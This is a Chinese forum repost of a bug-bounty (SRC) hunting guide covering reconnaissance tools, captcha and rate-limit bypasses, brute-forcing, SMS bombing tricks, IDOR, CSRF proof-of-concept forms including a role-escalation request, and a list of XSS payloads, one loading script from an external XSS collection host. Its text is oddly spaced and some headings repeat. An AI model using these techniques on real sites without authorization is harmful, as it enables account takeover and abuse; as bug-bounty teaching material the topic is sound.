搜索

[22260] 2021-08-16_SRC的漏洞挖掘之道

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2021-08-16_SRC的漏洞挖掘之道 S R C 的 漏 洞 挖 掘 之 道 先 知 社 区   L e m o n S e c   2 0 2 1 - 0 8 - 1 6 一 个 S R C 混 子 挖 S R C 的 半 年 经 验 分 享 ~ , 基 本 都 是 文 字 阐 述 ， 希 望 能 给 同 样 在 挖 洞 的 师 傅 们 带 来 一 点 新 收 获 。 前 期 信 息 收 集 前 期 信 息 收 集 还 是 那 句 老 话 , 渗 透 测 试 的 本 质 是 信 息 收 集 ， 对 于 没 有 0 d a y 的 弱 鸡 选 手 来 说 ， 挖 S R C 感 觉 更 像 是 对 企 业 的 资 产 梳 理 ， 我 们 往 往 需 要 花 很 长 的 时 间 去 做 信 息 收 集 ， 收 集 与 此 公 司 相 关 的 信 息 ， 包 括 企 业 的 分 公 司 ， 全 资 子 公 司 ， 网 站 域 名 、 手 机 企 业 的 分 公 司 ， 全 资 子 公 司 ， 网 站 域 名 、 手 机 a p p , 微 信 小 程 序 ， 企 微 信 小 程 序 ， 企 业 专 利 品 牌 信 息 ， 企 业 邮 箱 ， 电 话 业 专 利 品 牌 信 息 ， 企 业 邮 箱 ， 电 话 等 等 ， 对 于 很 多 万 人 挖 的 s r c 来 说 ， 你 收 集 到 了 别 人 没 有 收 集 过 的 资 产 ， 往 往 离 挖 到 漏 洞 就 不 远 了 。 企 业 相 关 信 息 收 集 企 业 相 关 信 息 收 集 企 查 查   ( h t t p s : / / w w w . q c c . c o m ） 天 眼 查 ( h t t p s : / / w w w . t i a n y a n c h a . c o m / ) 启 信 宝 （ h t t p s : / / w w w . q i x i n . c o m / ) 企 查 查 、 天 眼 查 淘 宝 都 有 那 种 一 天 的 会 员 。 对 于 我 们 信 息 收 集 其 实 已 经 够 用 ， 个 人 更 喜 欢 用 企 查 查 ， 因 为 它 能 一 键 导 出 域 名 ， 还 可 以 直 接 查 看 企 业 关 联 的 子 公 司 ， 比 较 方 便 。 主 要 查 询 的 信 息 主 要 查 询 的 信 息 : 1 .   一 般 大 的 s r c 都 有 许 多 子 公 司 , 企 查 查 可 以 在 所 属 集 团 中 查 看 该 集 团 下 子 公 司 ， 并 且 可 以 导 出 。 2 .   查 看 同 电 话 企 业 基 本 都 是 子 公 司 。 3 .   查 看 股 份 穿 透 图 ， 一 般 来 说 控 股 超 过 5 0 % 的 子 公 司 的 漏 洞 S R C 收 录 的 可 能 性 都 比 较 大 。 4 .   查 看 企 业 下 的 a p p 、 小 程 序 、 还 有 品 牌 的 资 产 ， 直 接 在 搜 索 引 擎 里 搜 索 品 牌 可 能 会 有 意 想 不 到 的 收 获 。 （ 找 到 一 些 平 常 收 集 不 到 的 资 产 ) P S : 一 般 来 说 1 0 0 % 的 全 资 子 公 司 s r c 漏 洞 是 一 定 会 收 的 ， 其 他 子 公 司 资 产 可 能 需 要 与 s r c 审 核 沟 通 （ 扯 皮 ) 。 站 长 之 家 : h t t p : / / w h o i s . c h i n a z . c o m / 邮 箱 反 查 、 注 册 人 反 查 、 电 话 反 查 。 推 荐 个 项 目 : h t t p s : / / g i t h u b . c o m / c o d e - s c a n / B r o D o m a i n   兄 弟 域 名 查 询 。 h t t p s : / / w w w . q i m a i . c n / 七 麦 数 据 ， 可 以 查 到 企 业 下 一 些 比 较 冷 门 的 a p p 。 信 息 整 理 信 息 整 理 当 我 们 通 过 各 种 手 段 对 挖 掘 的 企 业 进 行 信 息 收 集 后 ， 我 们 大 致 能 得 到 以 下 有 用 的 信 息 主 公 司 及 分 公 司 、 子 公 司 下 所 有 归 属 的 网 站 域 名 信 息 ； 主 公 司 及 分 公 司 、 子 公 司 下 所 有 的 专 利 品 牌 和 开 发 的 一 些 独 立 系 统 。 主 公 司 及 分 公 司 、 子 公 司 下 所 有 的 a p p 资 产 和 微 信 小 程 序 。
之 后 我 们 需 要 对 这 些 信 息 进 行 归 纳 和 整 理 , 比 如 哪 些 是 该 公 司 的 主 资 产 ， 哪 些 是 边 缘 资 产 ， 哪 些 资 产 看 上 去 比 较 冷 门 ， 我 们 是 可 以 重 点 关 注 和 进 行 深 入 挖 掘 的 。 子 域 名 收 集 和 网 站 信 息 收 集 子 域 名 收 集 和 网 站 信 息 收 集 子 域 名 的 话 ， 对 于 我 来 说 o n e f o r a l l 和 x r a y 的 功 能 已 经 足 够 强 大 了 ， 对 于 一 些 主 域 名 来 说 ， 如 果 想 要 充 分 的 收 集 子 域 名 ， 最 好 用 特 大 号 字 典 进 行 最 少 三 层 的 子 域 名 爆 破 。 这 块 还 是 l a y e r 子 域 名 挖 掘 机 不 错 。 通 过 通 过 g i t h u b 收 集 子 域 名 收 集 子 域 名 先 分 享 一 个 姿 势 ， 很 多 时 候 g i t h u b 上 已 经 有 热 心 的 师 傅 分 享 了 自 己 跑 出 的 子 域 名 ， 所 以 可 以 先 到 g i t h u b 找 一 找 有 没 有 现 成 的 可 以 白 嫖 ， 没 啥 好 语 法 ， 纯 靠 大 海 捞 针 。 。 o n e f o r A l l h t t p s : / / g i t h u b . c o m / s h m i l y l t y / O n e F o r A l l 需 要 到 配 置 文 件 里 填 写 a p i 接 口 信 息 ， 根 据 需 求 修 改 其 他 的 配 置 ， 比 如 可 以 配 置 一 些 常 见 的 端 口 ， 当 做 简 单 的 端 口 扫 描 工 具 用 。 命 令 我 实 际 操 作 发 现 在 挂 了 外 网 代 理 和 没 挂 代 理 时 跑 出 来 的 子 域 有 时 候 差 的 有 点 大 ， 想 收 集 的 全 一 点 的 师 傅 可 以 不 挂 代 理 和 挂 代 理 都 跑 一 遍 。 然 后 去 重 一 下 。 x r a y 子 域 名 探 测 需 要 高 级 版 ， 可 以 自 己 写 个 十 几 行 的 代 码 进 行 批 量 探 测 ， 也 可 以 直 接 用 这 个 项 目 里 的 代 码 ， h t t p s : / / g i t h u b . c o m / t i m w h i t e z / r a d - x r a y   命 令 改 一 下 能 批 量 探 测 子 域 名 ， 一 般 5 到 1 0 分 钟 一 个 子 域 。 G o b y 官 网 : h t t p s : / / g o b i e s . o r g / 因 为 之 前 一 直 在 用 m a s s c a n + n m a p 的 方 式 进 行 端 口 扫 描 ， 用 这 个 项 目 : h t t p s : / / g i t h u b . c o m / h e l l o g o l d s n a k e m a n / m a s n m a p s c a n - V 1 . 0 p y t h o n   o n e f o r a l l . p y   - - t a r g e t s   . / d o m a i n . t x t   r u n p y t h o n   o n e f o r a l l . p y   - - t a r g e t s   . / d o m a i n . t x t     - - b r u t e   t r u e   r u n 前 一 段 时 间 接 触 到 g o b y ， 感 觉 可 视 化 的 工 具 用 起 来 还 是 舒 服 ， 可 以 短 时 间 对 一 些 常 见 端 口 进 行 扫 描 ， 还 能 对 网 站 进 行 指 纹 识 别 ， 报 告 看 起 来 挺 舒 服 的 。
因 为 在 实 际 的 端 口 扫 描 过 程 ， 由 于 c d n 或 者 防 火 墙 的 原 因 ， 所 以 没 必 要 一 上 来 就 全 端 口 扫 描 ， 听 一 位 师 傅 分 享 的 经 验 ， 比 如 当 扫 描 到 2 2 端 口 开 放 时 ， 说 明 这 个 i p 没 有 c d n 保 护 ， 对 于 这 种 i p 我 们 可 以 提 取 出 来 ， 然 后 重 点 进 行 全 端 口 扫 描 ， 有 收 获 的 可 能 性 会 比 较 大 。 B B S c a n 猪 猪 侠 师 傅 写 的 工 具 ， 速 度 很 快 ， 简 单 的 目 录 扫 描 ， 主 要 是 可 以 探 测 C 段 下 面 的 很 多 资 产 ， 扩 充 攻 击 面 。 项 目 地 址 : h t t p s : / / g i t h u b . c o m / l i j i e j i e / B B S c a n h t t p s : / / g i t h u b . c o m / y h y 0 / B B S c a n   （ 添 加 了 s p r i n g b o o t 的 泄 露 探 测 ） 可 以 对 域 名 、 i p 、 C 段 进 行 探 测 快 速 探 测 管 理 后 台 进 行 端 口 探 测 探 测 敏 感 信 息 泄 露 可 以 自 定 义 扫 描 规 则 r e p o r t 下 看 报 告 , 误 报 肯 定 会 很 多 ， 但 C 段 下 很 可 能 会 有 意 想 不 到 的 资 产 。 j s 信 息 收 集 信 息 收 集 主 要 是 爬 取 网 站 的 敏 感 j s 文 件 ， j s 中 能 收 集 到 的 信 息 : 增 加 攻 击 面 ( u r l 、 域 名 ) 敏 感 信 息 ( 密 码 、 A P I 密 钥 、 加 密 方 式 ) 代 码 中 的 潜 在 危 险 函 数 操 作 具 有 已 知 漏 洞 的 框 架 常 用 的 工 具 速 度 很 快 的 j s f i n d e r   h t t p s : / / g i t h u b . c o m / T h r e e z h 1 / J S F i n d e r x r a y 的 r a d 爬 虫   h t t p s : / / g i t h u b . c o m / c h a i t i n / r a d 能 够 匹 配 敏 感 信 息 的 J S I N F O - S C A N ： h t t p s : / / g i t h u b . c o m / p 1 g 3 / J S I N F O - S C A N 捡 中 低 危 漏 洞 的 一 些 技 巧 捡 中 低 危 漏 洞 的 一 些 技 巧 刚 开 始 挖 s r c 往 往 不 知 道 从 哪 下 手 ， 首 先 我 们 其 实 可 以 从 各 个 s r c 平 台 提 交 漏 洞 下 拉 框 里 看 一 看 收 取 的 漏 洞 类 型 。 然 后 针 对 性 的 去 学 习 如 何 挖 掘 ， 比 如 智 联 招 聘 s r c 收 取 的 漏 洞 类 型 , 我 们 就 可 以 针 对 性 的 学 习 对 应 的 挖 掘 技 巧 。 框 架 注 入   明 文 密 码 传 输   表 单 破 解 漏 洞
  表 单 破 解 漏 洞   I I S 短 文 件 名 泄 露   老 旧 过 期 的 H T T P S 服 务   跨 目 录 下 载 漏 洞   目 录 可 浏 览 漏 洞   L F I 本 地 文 件 包 含 漏 洞   R F I 远 程 文 件 包 含 漏 洞   H T T P 拒 绝 服 务 攻 击   弱 口 令 登 录   C S R F 跨 站 点 请 求 伪 造   F l a s h 点 击 劫 持   S Q L 注 入 漏 洞   X S S 跨 站 脚 本 漏 洞   文 件 上 传 漏 洞   解 析 漏 洞 : I I S 解 析 漏 洞   解 析 漏 洞 : A p a c h e 解 析 漏 洞   C o o k i e s 注 入 漏 洞   越 权 访 问 漏 洞   命 令 执 行 漏 洞   S t r u t s 2 远 程 代 码 执 行 漏 洞   业 务 逻 辑 漏 洞   用 户 隐 私 泄 露   敏 感 信 息 泄 漏 ( 运 维 )   敏 感 信 息 泄 漏 ( 研 发 )   敏 感 文 件 泄 漏 ( 运 维 ) ( 配 置 )   敏 感 文 件 泄 漏 ( 运 维 ) ( 权 限 )   未 验 证 的 重 定 向 和 传 递   F l a s h 跨 域 访 问 资 源   测 试 文 件 泄 漏   开 启 危 险 的 H T T P 方 法   H T T P 参 数 污 染   U n i c o d e 编 码 绕 过   源 码 泄 漏   后 台 目 录 泄 漏   链 接 注 入 漏 洞   S S R F 服 务 器 请 求 伪 造   j s o n p 劫 持
学 习 完 基 础 的 漏 洞 类 型 后 ， 我 们 可 以 多 看 一 些 实 战 的 漏 洞 报 告 。 比 如 w o o y u n 漏 洞 库 和 h a c k o n e 上 的 报 告 。 乌 云 漏 洞 库 : h t t p s : / / w o o y u n . x 1 0 s e c . o r g / h a c k o n e 报 告 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 j P U S u o E R S I D w 2 z C K Z 0 x T j A   提 取 码 : 2 k l t 这 里 列 举 一 些 我 经 常 挖 到 的 垃 圾 洞 ， 生 而 为 人 ， 挖 不 到 大 洞 ， 我 很 抱 歉 ┭ ┮ ﹏ ┭ ┮ 。 登 录 框 处 常 见 的 一 些 漏 洞 登 录 框 处 常 见 的 一 些 漏 洞 在 我 们 通 过 对 目 标 的 前 期 信 息 收 集 之 后 ， 首 当 其 冲 的 往 往 就 是 各 种 奇 奇 怪 怪 的 登 录 框 ， 一 般 来 说 ， 大 型 的 企 业 为 了 减 少 安 全 问 题 ， 一 般 都 是 用 统 一 的 登 录 接 口 登 录 不 同 的 旗 下 网 站 ， 但 是 一 些 后 台 系 统 ， 运 维 系 统 ， 或 者 一 些 边 缘 业 务 使 用 了 独 立 的 注 册 、 登 录 体 系 ， 这 个 时 候 往 往 就 会 存 在 安 全 问 题 。 现 在 还 能 用 的 接 码 平 台 现 在 还 能 用 的 接 码 平 台 : h t t p : / / w w w . 1 1 4 s i m . c o m / h t t p s : / / y u n d u a n x i n . n e t / C h i n a - P h o n e - N u m b e r / h t t p s : / / w w w . m a t e r i a l t o o l s . c o m / 绕 过 限 制 导 致 的 爆 破 、 撞 库 、 用 户 遍 历 漏 洞 绕 过 限 制 导 致 的 爆 破 、 撞 库 、 用 户 遍 历 漏 洞 最 常 见 的 一 种 漏 洞 ， 尤 其 是 一 些 老 旧 的 后 台 系 统 ， 可 能 验 证 码 抓 个 包 就 绕 过 去 了 。 下 面 是 一 些 常 见 的 绕 过 姿 势 : 验 证 码 不 刷 新 验 证 码 抓 包 绕 过 验 证 码 删 除 绕 过 验 证 码 置 空 绕 过 修 改 x f f 头 绕 过 : 推 荐 个 b u r p 插 件 , h t t p s : / / g i t h u b . c o m / T h e K i n g O f D u c k / b u r p F a k e I P 账 号 后 加 空 格 绕 过 账 号 错 误 次 数 限 制 。 一 般 来 说 如 果 只 是 简 单 的 验 证 码 绕 过 ， 一 般 都 是 低 危 ， 所 以 一 般 能 够 绕 过 验 证 码 的 情 况 ， 都 要 尝 试 爆 破 一 波 账 号 密 码 。 弱 口 令 漏 洞 弱 口 令 漏 洞 没 有 验 证 码 或 者 验 证 码 可 以 绕 过 的 情 况 没 有 验 证 码 或 者 验 证 码 可 以 绕 过 的 情 况 直 接 上 一 手 字 典 爆 破 ， 当 然 还 是 有 一 些 小 技 巧 : 比 如 可 以 设 置 固 定 的 弱 密 码 ， 比 如 1 2 3 4 5 6 ， 然 后 爆 破 账 号 。 比 如 可 以 首 先 收 集 一 些 网 站 的 信 息 针 对 性 的 制 作 字 典 ， 比 如 域 名 ， 员 工 邮 箱 ， 企 业 名 称 等 等 , 推 荐 工 具 : 白 鹿 社 工 字 典 生 成 : h t t p s : / / g i t h u b . c o m / H o n g L u D i a n X u e / B a i L u - S E D - T o o l 爆 破 的 关 键 在 于 字 典 ， 常 见 的 字 典 g i t h u b 上 都 有 , 但 是 普 通 的 弱 口 令 现 在 确 实 不 太 好 用 了 ， 要 想 提 高 成 功 的 机 率 ， 还 是 需 要 碰 一 碰 强 密 码 ， 分 享 先 知 的 文 章 : h t t p s : / / x z . a l i y u n . c o m / t / 7 8 2 3
h t t p s : / / g i t h u b . c o m / h u y u a n z h i 2 / p a s s w o r d _ b r u t e _ d i c t i o n a r y 有 验 证 码 且 无 法 绕 过 的 情 况 有 验 证 码 且 无 法 绕 过 的 情 况 g i t h u b 直 接 找 员 工 账 号 邮 箱 ， 密 码 。 源 码 或 者 j s 文 件 查 找 线 索 ， 邮 箱 ， 或 者 加 密 的 账 号 密 码 。 特 定 系 统 或 者 c m s ， 搜 索 引 擎 搜 索 默 认 管 理 员 或 者 测 试 密 码 。 手 动 尝 试 常 见 弱 口 令 。 注 册 、 登 录 、 找 回 密 码 处 的 短 信 注 册 、 登 录 、 找 回 密 码 处 的 短 信 邮 箱 轰 炸 漏 洞 邮 箱 轰 炸 漏 洞 这 个 也 挺 常 见 的 ， 一 般 可 以 对 特 定 用 户 进 行 轰 炸 的 是 一 定 会 收 的 ， 横 向 轰 炸 能 够 消 耗 资 源 的 随 缘 收 。 常 见 的 绕 过 姿 势 : 加 空 格 绕 过 加 任 意 字 母 绕 过 前 面 加 8 6 绕 过 x f f 头 伪 造 i p 绕 过 逻 辑 缺 陷 的 导 致 的 任 意 用 户 注 册 、 登 录 、 找 回 密 码 漏 洞 逻 辑 缺 陷 的 导 致 的 任 意 用 户 注 册 、 登 录 、 找 回 密 码 漏 洞 因 为 这 方 面 漏 洞 一 旦 出 现 基 本 都 是 高 危 ， 所 以 挖 掘 的 时 候 类 似 的 思 路 我 就 不 细 说 了 , f r e e b u f 上 有 任 意 用 户 密 码 重 置 的 系 列 文 章 , 类 似 漏 洞 思 路 其 实 相 差 不 大 : h t t p s : / / w w w . f r e e b u f . c o m / a u t h o r / y a n g y a n g w i t h g n u 常 见 的 信 息 泄 露 漏 洞 常 见 的 信 息 泄 露 漏 洞 敏 感 信 息 泄 露 的 范 围 很 广 ， 我 认 为 一 般 就 是 两 大 类 ， 因 为 配 置 错 误 或 者 管 理 不 当 导 致 的 企 业 内 部 信 息 泄 露 。 因 为 逻 辑 缺 陷 导 致 的 用 户 资 料 泄 露 ( 遍 历 ) 。 g i t h u b 导 致 的 信 息 泄 露 导 致 的 信 息 泄 露 P 牛 知 识 星 球 里 分 享 的 g i t h u b 搜 索 关 键 词 : h t t p s : / / t w i t t e r . c o m / o b h e d a 1 2 / s t a t u s / 1 3 1 6 5 1 3 8 3 8 7 1 6 5 5 1 1 6 9 g i t h u b 子 域 名 监 控 项 目 : h t t p s : / / g i t h u b . c o m / F e e i C N / G S I L 常 见 的 泄 露 内 容 : 乌 云 上 有 一 些 案 例 ， 可 以 看 一 看 。 员 工 内 部 邮 箱 、 登 录 账 号 、 密 码 。 企 业 的 一 些 内 部 系 统 域 名 、 i p 泄 露 。 企 业 网 站 的 工 程 代 码 、 网 站 源 码 泄 露 ， 可 以 通 过 员 工 邮 箱 关 键 词 查 找 ， 要 注 意 日 期 ， 好 几 年 的 大 概 率 不 收 了 。
配 置 错 误 导 致 的 信 息 泄 露 配 置 错 误 导 致 的 信 息 泄 露 包 含 的 类 型 很 多 ， 最 重 要 的 是 有 一 份 足 够 强 大 的 字 典 和 一 个 好 用 的 扫 描 器 。 我 在 实 际 进 行 探 测 的 时 候 ， 对 于 大 批 量 的 域 名 来 说 ， 更 喜 欢 先 用 一 份 精 简 的 小 字 典 先 进 行 快 速 扫 描 比 如 : 备 份 文 件 的 小 字 典 s p r i n g b o o t 泄 露 的 小 字 典 网 站 后 台 的 小 字 典 比 较 出 名 的 扫 描 器 我 们 常 见 的 d i r s e a r c h 、 d i r m a p ， d i r b u s t e r 等 等 。 可 视 化 的 比 如 T E S T 4 0 4 系 列 、 御 剑 扫 描 器 使 用 体 验 也 不 错 。 注 : 信 息 泄 露 中 比 较 常 见 的 s w a g g e r - u i 服 务 泄 露 ， 可 能 直 接 提 交 会 忽 略 或 者 低 危 ， 别 忘 了 进 一 步 测 试 泄 露 的 接 口 功 能 。 越 权 导 致 的 信 息 泄 露 越 权 导 致 的 信 息 泄 露 很 多 时 候 越 权 来 来 去 去 都 是 更 改 一 个 参 数 的 问 题 , 更 多 的 时 候 还 是 要 细 心 的 一 个 一 个 测 业 务 功 能 ， 注 意 观 察 和 测 试 操 作 参 数 和 对 象 参 数 ， 操 作 参 数 一 般 是 增 删 改 查 对 应 特 定 业 务 的 敏 感 操 作 、 对 象 参 数 一 般 是 用 户 或 者 物 品 等 。 推 荐 几 个 b u r p 插 件 : 未 授 权 检 测 ： h t t p s : / / g i t h u b . c o m / t h e L S A / b u r p - u n a u t h - c h e c k e r 敏 感 参 数 提 取 ： h t t p s : / / g i t h u b . c o m / t h e L S A / b u r p - s e n s i t i v e - p a r a m - e x t r a c t o r 信 息 提 取 ： h t t p s : / / g i t h u b . c o m / t h e L S A / b u r p - i n f o - e x t r a c t o r 插 件 的 作 用 基 本 还 是 帮 助 我 们 快 速 定 位 敏 感 参 数 ， 实 际 测 试 还 是 需 要 我 们 一 个 包 一 个 包 仔 细 的 分 析 程 序 逻 辑 。 常 见 的 一 些 越 权 情 况 常 见 的 一 些 越 权 情 况 : 基 于 用 户 I D 的 越 权 基 于 功 能 对 象 I D 的 越 权 基 于 上 传 对 象 I D 的 越 权 基 于 未 授 权 访 问 的 越 权 基 于 功 能 地 址 的 越 权 基 于 接 口 身 份 的 越 权 其 他 的 其 他 的 O W A S P T o p 1 0 漏 洞 漏 洞 C S R F 漏 洞 漏 洞 C S R F 漏 洞 在 挖 掘 中 最 重 要 的 是 说 明 危 害 ， 比 较 容 易 扯 皮 ， 一 般 来 说 涉 及 用 户 资 料 、 财 产 、 权 限 的 C S R F 漏 洞 大 概 率 会 收 ， 一 般 来 说
最 高 就 是 中 危 。 捡 捡 垃 圾 洞 还 是 可 以 的 。 常 见 的 漏 洞 点 常 见 的 漏 洞 点 1 、 修 改 个 人 资 料 、 邮 箱 、 密 码 、 头 像 2 、 发 表 文 章 3 、 添 加 、 删 除 评 论 4 、 添 加 、 修 改 、 删 除 收 货 地 址 5 、 添 加 管 理 员 ( 1 )   G E T 型 型 G E T 类 型 的 C S R F 利 用 非 常 简 单 ， 只 需 要 一 个 H T T P 请 求 ， 所 以 ， 一 般 会 这 样 利 用 ： ( 2 )   P O S T 型 型 P O S T 请 求 中 没 有 t o k e n 参 数 ， 然 后 请 求 也 没 有 验 证 r e f e r e r 信 息 。 这 种 是 存 在 C S R F 情 况 最 多 的 一 种 。 这 种 漏 洞 的 检 测 方 法 也 很 简 单 ， 网 页 操 作 某 功 能 ， 抓 包 后 ， 如 果 发 现 没 有 t o k e n 等 参 数 ， 然 后 就 将 r e f e r e r 信 息 设 置 为 空 ， 再 次 发 包 请 求 ， 如 果 请 求 成 功 了 ， 就 说 明 这 里 有 C S R F 漏 洞 。 p o c ( 可 以 用 b u r p 自 己 生 成 的 ） : P O S T 请 求 数 据 为 j s o n ， 当 服 务 器 没 有 严 格 校 验 c o n t e n t - t y p e 类 型 时 ， P O C 为 ： < i m g   s r c = h t t p : / / w w w . x x x x x . c o m / c s r f ? x x = 1 1   / > < h t m l >         < b o d y >                   < f o r m   n a m e = " p x "   m e t h o d = " p o s t "   a c t i o n = " h t t p : / / w w w . x x x x x . c o m / a d d " >                         < i n p u t   t y p e = " t e x t "   n a m e = " u s e r _ i d "   v a l u e = " 1 1 1 1 " >                 < / f o r m >               < s c r i p t > d o c u m e n t . p x . s u b m i t ( ) ;   < / s c r i p t >           < / b o d y >   < / h t m l >
3 .   F l a s h   型 型 F l a s h   C S R F 通 常 是 由 于 C r o s s d o m a i n . x m l 文 件 配 置 不 当 造 成 的 ， 利 用 方 法 是 使 用 s w f 来 发 起 跨 站 请 求 伪 造 。 利 用 条 件 ： 1 、 目 标 站 点 下 必 须 存 在 c r o s s d o m a i n . x m l 文 件 。 2 、 c r o s s d o m a i n . x m l 中 的 配 置 允 许 其 他 域 进 行 跨 域 请 求 。 b y p a s s 小 技 巧 小 技 巧 删 除 c s r f   t o k e n 置 空 c s r f   t o k e n 修 改 请 求 方 法 ， 如 P O S T 方 法 变 G E T 请 求 使 用 与 t o k e n 相 同 长 度 的 任 意 字 符 串 替 换 t o k e n ， 例 如 尝 试 更 改 一 个 字 符 ， 看 看 或 发 生 什 么 使 用 固 定 t o k e n t o k e n 字 段 改 成   t o k e n [ ] = 任 意 文 件 上 传 漏 洞 任 意 文 件 上 传 漏 洞 这 个 洞 遇 到 的 也 比 较 多 ， 一 般 来 说 是 后 端 没 有 限 制 上 传 文 件 的 类 型 。 但 是 上 传 的 脚 本 文 件 也 不 会 解 析 。 也 就 没 有 办 法 g e t s h e l l 。 ( 很 多 S R C 对 于 上 传 到 c d n 云 服 务 器 的 任 意 文 件 上 传 是 忽 略 的 ) 。 上 传 含 有 x s s 代 码 的 h t m l 文 件 ， 造 成 存 储 型 x s s ( 如 果 上 传 到 了 c d n 服 务 器 之 类 的 大 概 率 忽 略 ) 。 上 传 恶 意 文 件 进 行 钓 鱼 尝 试 在 上 传 的 文 件 名 前 加 . . / 进 行 目 录 穿 越 。 可 以 结 合 其 他 漏 洞 比 如 C O R S 漏 洞 扩 大 危 害 。 文 件 上 传 的 常 见 的 绕 过 姿 势 应 该 也 挺 熟 悉 的 了 。 。 ， 实 际 测 试 的 时 候 发 现 在 进 行 申 请 企 业 、 个 人 认 证 的 时 候 ， 上 传 文 件 处 常 常 有 这 个 问 题 。 < s c r i p t >     v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;     x h r . o p e n ( " P O S T " ,   " h t t p : / / w w w . x x x x . c o m / a p i / s e t r o l e " ) ;     x h r . w i t h C r e d e n t i a l s   =   t r u e ;     x h r . s e t R e q u e s t H e a d e r ( " C o n t e n t - T y p e " ,   " t e x t / p l a i n ; c h a r s e t = U T F - 8 " ) ;     x h r . s e n d ( ' { " r o l e " : a d m i n } ' ) ; < / s c r i p t > < ? x m l   v e r s i o n = " 1 . 0 " ? > < c r o s s - d o m a i n - p o l i c y >     < a l l o w - a c c e s s - f r o m   d o m a i n = " * "   / > < / c r o s s - d o m a i n - p o l i c y >
X S S 漏 洞 漏 洞 老 熟 人 了 ， 不 多 说 了 ， 常 见 的 姿 势 大 家 应 该 都 知 道 。 分 享 一 个 我 学 X S S 的 文 章 : h t t p s : / / w i z a r d f o r c e l . g i t b o o k s . i o / x s s - n a x i e n i a n / c o n t e n t / i n d e x . h t m l B r o k e n 5 师 傅 的 x s s p a y l o a d : b y p a s s 姿 势 姿 势 < s c r i p t > a l e r t ( 1 ) < / s c r i p t > < s c r i p t   s r c = h t t p s : / / x s s p t . c o m / V B A h T u > < / s c r i p t > < a   h r e f = j a v a s c r i p t : a l e r t ( 1 ) > x s s < / a > < s v g   o n l o a d = a l e r t ( 1 ) > < i m g   s r c = 1   o n e r r o r = a l e r t ( 1 ) > < i m g   s r c = h t t p s : / / w w w . b a i d u . c o m / i m g / b d _ l o g o 1 . p n g   o n l o a d = a l e r t ( 1 ) > < d e t a i l s   o p e n   o n t o g g l e = a l e r t ( 1 ) > < b o d y   o n l o a d = a l e r t ( 1 ) > < M   o n m o u s e o v e r = a l e r t ( 1 ) > M < i f r a m e   s r c = j a v a s c r i p t : a l e r t ( 1 ) > < / i f r a m e > < i f r a m e   o n l o a d = a l e r t ( 1 ) > < i n p u t   t y p e = " s u b m i t "   o n f o c u s = a l e r t ( 1 ) > < i n p u t   t y p e = " s u b m i t "   o n c l i c k = a l e r t ( 1 ) > < f o r m > < i n p u t   t y p e = " s u b m i t "   f o r m a c t i o n = j a v a s c r i p t : a l e r t ( 1 ) >
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理